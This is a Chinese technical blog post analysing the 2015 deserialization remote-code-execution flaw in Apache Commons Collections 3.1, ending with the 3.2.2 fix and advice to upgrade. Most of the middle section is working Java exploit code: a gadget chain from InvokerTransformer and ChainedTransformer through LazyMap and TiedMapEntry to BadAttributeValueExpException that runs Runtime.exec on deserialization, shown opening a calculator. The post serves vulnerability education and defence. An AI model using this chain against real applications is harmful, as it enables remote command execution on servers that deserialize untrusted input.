原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

工作久了的话,就会慢慢有种感觉:代码都是人写的,是人写的代码就可能存在漏洞,这个是永远都无法避免的,任何牛X的程序员都不可能写出完全没有bug的代码!
其实关于序列化的安全性问题,无论是Java原生的序列化技术还是很多其他的开源序列化工具,都曾经发生过。
序列化的安全性,一直都是比较大的一个话题,我无意为fastjson辩驳,但是出问题之后直接喷代码写的烂,其实是有点不负责任的。
Apache-Commons-Collections这个框架,相信每一个Java程序员都不陌生,这是一个非常著名的开源框架。
但是,他其实也曾经被爆出过序列化安全漏洞,而漏洞的表现和fastjson一样,都是可以被远程执行命令。
背景
Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
**Commons Collections包为Java标准的Collections API提供了相当好的补充。**在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons Collections的最新版是4.4,但是使用比较广泛的还是3.x的版本。其实,在3.2.1以下版本中,存在一个比较大的安全漏洞,可以被利用来进行远程命令执行。
这个漏洞在2015年第一次被披露出来,但是业内一直称称这个漏洞为"2015年最被低估的漏洞"。
因为这个类库的使用实在是太广泛了,首当其中的就是很多Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
之后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。
问题复现
这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。
利用Transformer攻击
Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型装换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。
InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。
image.png

而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:
image.png
也就是说,使用这个类,理论上可以执行任何方法。那么,我们就可以利用这个类在Java中执行外部命令。
我们知道,想要在Java中执行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我们就想办法通过以上工具类实现这个功能。
首先,通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数:

Transformer transformer = new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"open /Applications/Calculator.app"});

通过,构造函数,我们设定方法名为exec,执行的命令为open /Applications/Calculator.app,即打开mac电脑上面的计算器(windows下命令:C:\Windows\System32\calc.exe)。
然后,通过InvokerTransformer实现对Runtime类的实例化:
transformer.transform(Runtime.getRuntime());

运行程序后,会执行外部命令,打开电脑上的计算机程序:
image.png
至此,我们知道可以利用InvokerTransformer来调用外部命令了,那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串,然后再反序列化,接口实现远程命令执行:
image.png
先将transformer对象序列化到文件中,再从文件中读取出来,并且执行其transform方法,就实现了攻击。
你以为这就完了?
但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。
因为,newTransformer.transform(Runtime.getRuntime());这样的代码,不会有人真的在代码中写的。
如果没有了这行代码,还能实现执行外部命令么?
这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer,这个类是Transformer的实现类。
ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,然后依次调用其transform方法,并且每次都返回一个对象,并且这个对象可以作为下一次调用的参数。
image.png
那么,我们可以利用这个特性,来自己实现和transformer.transform(Runtime.getRuntime());同样的功能:

 Transformer[] transformers = new Transformer[] {
    //通过内置的ConstantTransformer来获取Runtime类
    new ConstantTransformer(Runtime.class),
    //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
    new InvokerTransformer("getMethod",
        new Class[] {String.class, Class[].class },
        new Object[] {"getRuntime", new Class[0] }),
    //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),
    //反射调用exec方法
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"open /Applications/Calculator.app"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:
image.png
那么,结合序列化,现在的攻击更加进了一步,不再需要一定要传入newTransformer.transform(Runtime.getRuntime());这样的代码了,只要代码中有 transformer.transform()方法的调用即可,无论里面是什么参数:
image.png
攻击者不会满足于此
但是,一般也不会有程序员会在代码中写这样的代码。
那么,攻击手段就需要更进一步,真正做到"不需要程序员配合"。
于是,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)
image.png
那么,现在的攻击方向就是想办法调用到LazyMap的get方法,并且把其中的factory设置成我们的序列化对象就行了。
顺藤摸瓜,可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}

那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我们知道,toString会在很多时候被隐式调用,如输出的时候(System.out.println(ois.readObject());),代码示例如下:
image.png
现在,黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化之后,如果调用了toString就会被攻击。
只要反序列化,就会被攻击
那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?
倒还真的被发现了,只要满足以下条件就行了:
那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候,会调用对象的readObject方法。
通过深入挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例
BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:

那么,攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。
通过阅读源码,我们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。
这就简单了,通过反射就能实现:
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
复制代码
于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。
image.png
问题解决
以上,我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。
通过这个漏洞的分析,我们可以发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。
因为这个漏洞影响范围很大,所以在被爆出来之后就被修复掉了,开发者只需要将Apache Commons Collections类库升级到3.2.2版本,即可避免这个漏洞。

3.2.2版本对一些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure

如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:
image.png
在两个方法中,进行了序列化安全的相关校验,校验实现代码如下:
image.png
在序列化及反序列化过程中,会检查对于一些不安全类的序列化支持是否是被禁用的,如果是禁用的,那么就会抛出UnsupportedOperationException,通过org.apache.commons.collections.enableUnsafeSerialization设置这个特性的开关。
将Apache Commons Collections升级到3.2.2以后,执行文中示例代码,将报错如下:
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
复制代码
后话
本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。
如果你阅读本文之后,能够有以下思考,那么本文的目的就达到了:
1、代码都是人写的,有bug都是可以理解的
2、公共的基础类库,一定要重点考虑安全性问题
3、在使用公共类库的时候,要时刻关注其安全情况,一旦有漏洞爆出,要马上升级
4、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug都可能被利用